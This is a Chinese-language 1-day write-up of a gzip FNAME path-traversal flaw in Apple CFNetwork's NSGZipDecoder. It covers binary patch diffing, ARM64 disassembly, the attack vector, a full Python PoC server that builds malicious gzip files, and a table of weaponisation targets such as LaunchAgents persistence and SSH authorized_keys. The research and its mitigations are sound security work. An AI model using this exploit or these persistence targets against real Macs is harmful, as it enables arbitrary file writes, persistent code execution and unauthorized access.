漏洞概述

CVE-2026-20660 是 Apple CFNetwork 框架中的一个路径处理漏洞,允许远程攻击者通过提供恶意 gzip 文件将文件写入受害者文件系统的任意位置。

字段 详情
组件 CFNetwork (macOS)
影响 远程用户可能能够写入任意文件
修复描述 通过改进逻辑解决了路径处理问题
修复版本 Safari 26.3 / macOS Sequoia 26.3 (2026-02-11)
发现者 Amy
漏洞类型 通过 Gzip FNAME 头的路径穿越 (RFC 1952)
触发条件 Safari “下载后打开安全文件” 已启用(macOS 默认开启)
公告 Apple Security Release - Safari 26.3

披露说明: 这是在 Apple 发布 Safari 26.3 修复后独立进行的 1-day 分析。原始漏洞由 Amy 发现并报告。所有测试均在受影响版本(Safari 26.2 / macOS 26.2.1)上对本地控制的系统进行。

阶段 1:二进制获取与 BinDiff

从 IPSW 提取 CFNetwork

使用 ipsw 工具从 iOS 26.2.1(存在漏洞)和 iOS 26.3(已修复)IPSW 固件镜像中内嵌的 dyld_shared_cache 提取 CFNetwork 框架。

两个提取的二进制文件均为 Mach-O 64-bit ARM64e(支持 PAC)。但由于是从共享缓存中提取的,其 load command 中的 section 偏移指向原始共享缓存中的地址,而非提取后的文件内部。这导致 otoolobjdump 和 IDA Pro 在正常加载时均会失败:

$ file CFNetwork_26.2.1/CFNetwork
Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library

$ otool -tV CFNetwork
section offset for section (__TEXT,__text) is past end of file

IDA Pro 将两个二进制文件作为原始 ROM 段加载,而非结构化的 Mach-O 文件,导致没有函数名和 Objective-C 元数据解析。

BinDiff 结构比较

尽管 IDA 的分析质量有所下降,BinDiff 仍基于控制流图结构成功匹配了 10,489 个函数。绝大多数的相似度评分为 1.0(完全相同)。只有约 20 个函数 的相似度低于 1.0。

BinDiff 结果存储在 SQLite 数据库中,包含新旧二进制文件中匹配的函数地址、相似度评分和指令数。

阶段 2:通过 lief + capstone + BinDiff 交叉引用解析符号

问题

BinDiff 只提供了原始的文件偏移地址(如 sub_24C4A4)。由于 IDA 未解析 Mach-O 结构,所有函数都是未命名的 sub_XXXXX 条目。需要将这些地址映射到实际的符号名。

解决方案

使用 Python lief 库直接解析 Mach-O 符号表。与 IDA 处理从共享缓存提取的 dylib 不同,lief 能正确处理 load command 并提供完整的导出符号列表,包括 C 函数、C++ mangled 名称和 Objective-C 方法。

关键地址映射关系:

BinDiff 地址 = IDA 平坦地址 = 文件偏移(IDA 将二进制文件作为从 0x0 开始的 ROM 加载)
lief 符号地址 = 虚拟地址 (vaddr)
vaddr = __TEXT 段基址 + 文件偏移

因此:符号名 = lief.symbols[BinDiff_address + __TEXT_base]

import lief

binary = lief.parse('CFNetwork_26.2.1/CFNetwork')
# __TEXT 段:vaddr=0x197cdc000, fileoff=0x0
TEXT_BASE = 0x197cdc000

# BinDiff 地址 0x24C4A4 -> vaddr 0x197F284A4
vaddr = TEXT_BASE + 0x24C4A4
symbol_name = symbols[vaddr]
# -> "-[NSGZipDecoder filenameWithOriginalFilename:]"

完整的变更函数符号解析

将所有相似度 < 1.0 的函数映射到符号名并过滤掉 loader stub(gotLoadHelperdelayInitStub)后,有意义的变更如下:

相似度 指令数 符号 类别
0.088 BaseAwaitingTube::BaseAwaitingTube 连接层
0.229 resolveTubeType 连接层
0.356 ConnectionProtocolRemoveInputHandler 连接层
0.406 PAC::rlsCancel 代理自动配置
0.653 TubeManager::addNewFastPathCache 连接层
0.889 112 -[NSGZipDecoder filenameWithOriginalFilename:] 文件名处理
0.906 278 PAC::CreatePACTicket 代理自动配置
0.992 490 -[__NSCFURLProxySessionConnection didCompleteWithError:] 会话回调
0.976–0.993 多个 NWIOConnectionTubeManager 函数 连接/传输

唯一与文件名或路径处理相关的变更函数是 [NSGZipDecoder filenameWithOriginalFilename:]

排除其他文件名函数

为确认没有遗漏相关变更,使用 capstone 反汇编并比较了所有文件名相关函数的指令数:

函数 旧版指令数 新版指令数 差值
_createSanitizedFileNameFromString 300+ 300+ 0
_createFilenameFromContentDispositionHeader 500+ 500+ 0
_CFURLResponseCopySuggestedFilename 48 48 0
URLResponse::copySuggestedFilename 239 239 0
URLDownload::_internal_copySuggestedFilenameFromOriginalFilename 82 82 0
GZipDownloadDataDecoder::createFilenameWithOriginalFilename 120 120 0

所有 Content-Disposition 解析和文件名构建函数字节级相同,确认漏洞不在 HTTP 头解析层。

阶段 3:通过 ARM64 反汇编比较进行根因分析

反汇编方法

使用 capstone(ARM64 反汇编器)对两个版本的 [NSGZipDecoder filenameWithOriginalFilename:] 进行反汇编。由于共享缓存提取的偏移映射,文件偏移计算如下:

file_offset = vaddr - __TEXT_segment.vaddr
# 旧版:0x197F284A4 - 0x197CDC000 = 0x24C4A4
# 新版:0x198099394 - 0x197E4D000 = 0x24C394

调用序列比较

每条 BL(branch-and-link)指令的目标通过 lief 解析到对应的 Objective-C dispatch stub 符号:

旧版 (26.2.1) — 存在漏洞:

objc_msgSend$copy                        @ 0x198088e40   <- 复制文件名
objc_msgSend$length                      @ 0x19808b900   <- 检查长度
objc_msgSend$pathExtension               @ 0x19808c460   <- 获取扩展名
objc_msgSend$lowercaseString             @ 0x19808ba40   <- 统一大小写
objc_msgSend$isEqualToString:            @ 0x19808b560   <- 比较扩展名
objc_msgSend$stringByDeletingPathExtension  @ 0x198091240   <- 去掉 .gz
objc_msgSend$stringByAppendingPathExtension @ 0x198091200   <- 添加替换扩展名

未调用 lastPathComponent

新版 (26.3) — 已修复:

objc_msgSend$length                      @ 0x1981fd3c0
objc_msgSend$pathExtension               @ 0x1981fdf20
objc_msgSend$lowercaseString             @ 0x1981fd500
objc_msgSend$isEqualToString:            @ 0x1981fd020
objc_msgSend$stringByDeletingPathExtension  @ 0x198202d00
objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0
objc_msgSend$lastPathComponent           @ 0x1981fd3a0   <- 新增

增加了 lastPathComponent 尾调用。

控制流差异

旧版 — 返回路径:

; 如果 NSGZipDecoder 有文件名(从 gzip FNAME 头读取)且长度非零:
0x197f284d0: bl  objc_msgSend$length      ; 检查长度
0x197f284d4: cbz x0, ...                  ; length == 0 -> 跳转到 pathExtension 分支
0x197f284d8: mov x0, x20                  ; length != 0 -> 直接返回文件名
0x197f284e4: retab                        ; <- BUG:无路径清理

新版 — 返回路径:

0x1980993c0: bl  objc_msgSend$length
0x1980993c4: cbnz x0, #0x198099408       ; length != 0 -> 向前跳转
; ...(pathExtension 分支,也到达 0x198099408)
0x198099408: mov x0, x20
0x198099414-0x198099424: epilog
0x198099424: b   objc_msgSend$lastPathComponent  ; <- 尾调用,去除目录组件

所有退出路径现在都经过 lastPathComponent 尾调用,确保目录穿越组件从文件名中被剥离。

阶段 4:确定攻击向量

错误的方向:Content-Disposition

第一次 PoC 尝试在 HTTP Content-Disposition 头中嵌入 ../ 路径穿越序列。在 Safari 26.2 上测试显示文件被保存为 _.._cve-2026-20660-proof.txt.gz

  • ../ 被 Safari 的下载管理器替换为 _.._Safari 已经对 HTTP 头文件名进行了清理
  • .gz 扩展名被保留 — NSGZipDecoder 从未被调用进行解压

这确认了通过 Content-Disposition 无法触发路径穿越。

正确的向量:Gzip FNAME 头

RFC 1952 定义的 gzip 格式包含一个可选的 FNAME 字段(FLG 位 3),用于存储原始文件名。这个文件名嵌在 gzip 文件体内部,不受 HTTP 层清理的影响。

NSGZipDecoder 在解压 .gz 文件时读取 FNAME 字段,并通过 filenameWithOriginalFilename: 传递以确定输出文件名。

攻击流程:

sequenceDiagram
    participant A as 攻击者服务器
    participant S as 受害者 Safari (< 26.3)

    A->>S: HTTP Response
Content-Type: application/gzip
Content-Disposition: filename="report.gz" ← 干净
[gzip body with FNAME="../../proof.txt"] ← 恶意 Note over S: 1. Safari 保存 report.gz
到 ~/Downloads/ Note over S: 2. "打开安全文件"
触发 NSGZipDecoder Note over S: 3. NSGZipDecoder 读取
FNAME: "../../proof.txt" rect rgb(255, 200, 200) Note over S: 旧版(存在漏洞)
output = "../../proof.txt"
~/Downloads/../../proof.txt
= ~/proof.txt ← 逃逸! end rect rgb(200, 255, 200) Note over S: 新版(已修复)
lastPathComponent → "proof.txt"
~/Downloads/proof.txt ← 安全 end

构造 Gzip FNAME 字段

RFC 1952 gzip 头布局:

+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
 1f  8b  08  08  ...timestamp...  00  ff

FLG 位 3 = FNAME:如果设置,一个以 null 结尾的原始文件名字符串
紧跟在头部第 10 字节之后。

阶段 5:macOS Safari 26.2 上的观察行为

在 macOS Safari 26.2 上测试发现以下行为:

路径穿越深度

NSGZipDecoder 的解压并不直接在 ~/Downloads/ 中进行,而是在其下的一个临时子目录中。因此:

  • depth=1../pwn.sh)只能逃出临时子目录;文件仍在 ~/Downloads/ 内。
  • depth=2../../pwn.sh)才能到达 ~/

解压后的文件权限

$ ls -la ~/pwn.sh
-rwx------@ 1 user  staff  25 Mar  9 22:32 pwn.sh

解压的 .sh 文件自动获得了可执行权限-rwx------)。这意味着攻击者植入的脚本不需要受害者手动运行 chmod +x,大幅降低了从任意文件写入到代码执行的门槛。

注意: 可执行权限的确切来源需要进一步调查——可能来自 gzip 元数据中保存的 Unix 权限位,也可能是 macOS 对脚本文件默认应用的可执行权限。

不会覆盖已有文件

如果目标路径已存在文件,Safari 不会覆盖它;而是会用数字后缀重命名新文件(如 pwn-2.sh)。这意味着:

  • 首次写入目标路径会成功。
  • .zshrcauthorized_keys 等已有文件不会被篡改。
  • 但是,可以在敏感目录中创建新文件(如 ~/.ssh/),前提是目录存在且目标文件名尚未被占用。

高影响利用场景

鉴于 “可创建但不能覆盖” 的限制,最有价值的攻击目标是在敏感目录中写入新文件

目标路径 FNAME (depth=2) 影响
~/Library/LaunchAgents/com.evil.plist ../../Library/LaunchAgents/com.evil.plist 用户登录时持久化代码执行(plist 格式)
~/.ssh/authorized_keys ../../.ssh/authorized_keys(需要 .ssh/ 已存在) 未经授权的 SSH 访问
~/pwn.sh ../../pwn.sh 带 +x 权限的可执行脚本(已验证)

LaunchAgents 是最高影响目标:该目录通常已存在,plist 文件名可任意选择(避免冲突),macOS 在用户登录时会自动执行该目录中所有 plist 定义的任务。

影响分析

macOS(受影响)

文件可以被写入 ~/Downloads/ 之外的任意用户可访问位置。最高影响场景:

  • ~/Library/LaunchAgents/ — 写入 plist 实现用户登录时的持久化代码执行(主要目标)。
  • ~/.ssh/authorized_keys — 添加攻击者的 SSH 公钥(需要 .ssh/ 目录已存在且没有同名文件)。
  • 任意路径的可执行脚本 — 解压文件自动获得 +x 权限。

iOS(不受影响)

符号分析确认 NSGZipDecoder 仅在 macOS 上被调用。iOS 使用完全独立的解压机制。

平台下载/解压架构

平台 下载 API 解压 文件名处理
macOS NSURLDownload NSGZipDecoder(遵循 NSURLDownloadDecoder 协议) filenameWithOriginalFilename:存在漏洞
iOS NSURLSession SZExtractor / STRemoteExtractor 独立代码路径,不受影响

符号分析证据

  1. NSGZipDecoder 遵循 NSURLDownloadDecoder 协议:

    __OBJC_CLASS_PROTOCOLS_$_NSGZipDecoder -> __OBJC_PROTOCOL_$_NSURLDownloadDecoder
    

    NSURLDownload 是一个遗留的 macOS 专用下载 API(从未在 iOS 上可用)。

  2. NSGZipDecoder.init 调用 macOS 专用 API:

    -[NSGZipDecoder init] -> _CFURLDownloadCancel
                           -> -[NSURLDownload cleanupChallenges]
    
  3. iOS NSURLSessionDownloadTask 使用不同的解压路径:

    NSURLSessionTask._extractor -> SZExtractor (Streaming Zip Extractor)
                                 -> STRemoteExtractor
    

    这些是 NSURLSession 专用的解压器,与 NSGZipDecoder 完全独立。

  4. 与 Apple 公告一致: CVE-2026-20660 仅列出适用于 “macOS Sonoma 和 macOS Sequoia",不包括 iOS。

利用限制

  1. 仅 macOS — iOS 使用独立的 SZExtractor 解压路径。
  2. 需要 Safari 的 “下载后打开安全文件” 处于启用状态(macOS Safari 默认开启)。
  3. 无法覆盖已有文件 — Safari 对冲突文件自动应用数字后缀重命名。
  4. 路径穿越需要 depth >= 2(解压在 ~/Downloads/ 的子目录中进行)。
  5. 攻击者必须知道到目标路径的相对目录深度。

利用优势

  1. 解压的脚本自动获得可执行权限 — 受害者无需手动 chmod +x
  2. ~/Library/LaunchAgents/ 默认存在且 plist 文件名由攻击者控制 — 无冲突风险。
  3. 整个攻击链零用户交互(Safari 的自动解压默认启用)。

概念验证

PoC 由两个文件组成:server.py(核心 gzip 构建器和 HTTP 服务器)和 server_overwrite.py(针对 ~/pwn.sh 的简化变体)。

server.py

#!/usr/bin/env python3
"""
CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder 路径穿越

根因(来自 BinDiff 补丁分析):
  -[NSGZipDecoder filenameWithOriginalFilename:] 从 gzip 头读取 FNAME 字段。
  旧版本直接返回。新版本调用 [NSString lastPathComponent] 去除目录组件。

攻击向量:
  路径穿越嵌入在 GZIP HEADER(RFC 1952 FNAME)中,
  不是在 Content-Disposition HTTP 头中。

  1. 服务器发送一个带有干净 Content-Disposition 名称的 .gz 文件
  2. Safari 下载 "harmless.gz" 到 ~/Downloads/
  3. Safari 自动解压 .gz(如果 "打开安全文件" 已启用)
  4. NSGZipDecoder 从 gzip 头读取 FNAME:"../../evil.txt"
  5. 旧版本使用 "../../evil.txt" -> 文件写入 Downloads 之外
  6. 新版本:lastPathComponent -> "evil.txt" -> 安全

用法:
    python3 server.py [--port PORT] [--depth DEPTH]
"""

import argparse
import gzip
import http.server
import io
import os
import struct
import sys
import time
import urllib.parse
from datetime import datetime


PROOF_TEXT = """\
CVE-2026-20660 -- Proof of Arbitrary File Write
================================================
This file was written by exploiting a path traversal
in the gzip FNAME header field, processed by
-[NSGZipDecoder filenameWithOriginalFilename:]

Timestamp: {timestamp}
FNAME payload: {fname}
"""

def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
    """
    构建一个带有自定义 FNAME(原始文件名)头的 gzip 流。

    RFC 1952 gzip 格式:
      +---+---+---+---+---+---+---+---+---+---+
      |ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
      +---+---+---+---+---+---+---+---+---+---+

    FLG 位 3(FNAME):如果设置,原始文件名以零字节结尾存在。
    """
    import zlib

    # Gzip 头
    header = bytearray()
    header += b'\x1f\x8b'      # ID1, ID2(魔数)
    header += b'\x08'           # CM = deflate
    header += b'\x08'           # FLG = FNAME 位设置
    header += struct.pack('<I', int(time.time()))  # MTIME
    header += b'\x00'           # XFL
    header += b'\xff'           # OS = unknown

    # FNAME 字段:以 null 结尾的字符串
    header += fname.encode('latin-1') + b'\x00'

    # 压缩数据
    compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
    deflated = compress.compress(content)
    deflated += compress.flush()

    # 尾部:CRC32 + ISIZE
    crc = zlib.crc32(content) & 0xFFFFFFFF
    isize = len(content) & 0xFFFFFFFF
    trailer = struct.pack('<II', crc, isize)

    return bytes(header) + deflated + trailer


class ExploitHandler(http.server.BaseHTTPRequestHandler):
    traversal_depth = 5
    target_name = "cve-2026-20660-proof.txt"

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._serve_landing()
        elif parsed.path == "/download":
            depth = int(query.get("depth", [str(self.traversal_depth)])[0])
            custom_fname = query.get("fname", [None])[0]
            self._serve_exploit(depth, custom_fname)
        else:
            self.send_error(404)

    def _serve_landing(self):
        page = """<!DOCTYPE html>
<html><head><title>CVE-2026-20660 PoC</title></head>
<body>
<h1>CVE-2026-20660 PoC</h1>
<p>NSGZipDecoder FNAME Path Traversal</p>
<a href="/download?depth=2">Trigger (depth=2)</a>
</body></html>""".encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(page)))
        self.end_headers()
        self.wfile.write(page)

    def _serve_exploit(self, depth: int, custom_fname: str | None = None):
        ts = datetime.now().isoformat()

        if custom_fname:
            fname = custom_fname
        else:
            fname = "../" * depth + self.target_name

        text = PROOF_TEXT.format(timestamp=ts, fname=fname)
        gz_data = make_gzip_with_fname(text.encode('utf-8'), fname)
        clean_name = "report.gz"

        print(f"\n{'='*60}")
        print(f"  Exploit triggered @ {ts}")
        print(f"  Content-Disposition: {clean_name}  (clean)")
        print(f"  Gzip FNAME header:  {fname}  (malicious)")
        print(f"  Payload: {len(gz_data)} bytes")
        print(f"  Client: {self.client_address[0]}")
        print(f"{'='*60}")

        self.send_response(200)
        self.send_header("Content-Type", "application/gzip")
        self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
        self.send_header("Content-Length", str(len(gz_data)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(gz_data)

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")


def main():
    p = argparse.ArgumentParser(description="CVE-2026-20660 PoC Server")
    p.add_argument("--port", "-p", type=int, default=8080)
    p.add_argument("--bind", "-b", default="0.0.0.0")
    p.add_argument("--depth", "-d", type=int, default=5,
                   help="Path traversal depth (../ count)")
    p.add_argument("--name", "-n", default="cve-2026-20660-proof.txt",
                   help="Target filename for proof")
    args = p.parse_args()

    ExploitHandler.traversal_depth = args.depth
    ExploitHandler.target_name = args.name

    srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
    print(f"\n  CVE-2026-20660 PoC Server")
    print(f"  http://{args.bind}:{args.port}/")
    print(f"  Default depth: {args.depth}")
    print(f"  Target name: {args.name}")
    print(f"\n  Attack: gzip FNAME header path traversal")
    print(f"  Requires: 'Open safe files after downloading' in Safari\n")

    try:
        srv.serve_forever()
    except KeyboardInterrupt:
        print("\nStopped.")
        srv.server_close()


if __name__ == "__main__":
    main()

用法

cd CVE-2026-20660
python3 exploit/server.py --port 8888

# 在存在漏洞的 Safari (< 26.3) 中打开:
# http://<server-ip>:8888/

前提条件: Safari 偏好设置 > 通用 > “下载后打开安全文件” 必须启用(macOS Safari 默认配置)。

验证:

ls ~/cve-2026-20660-proof.txt       # depth=2 时
cat ~/cve-2026-20660-proof.txt      # 检查证明内容

缓解措施

  1. 更新到 Safari 26.3 或更高版本。
  2. 禁用 Safari 偏好设置 > 通用 > “下载后打开安全文件”。
  3. 不要从不受信任的来源下载 .gz 文件。

参考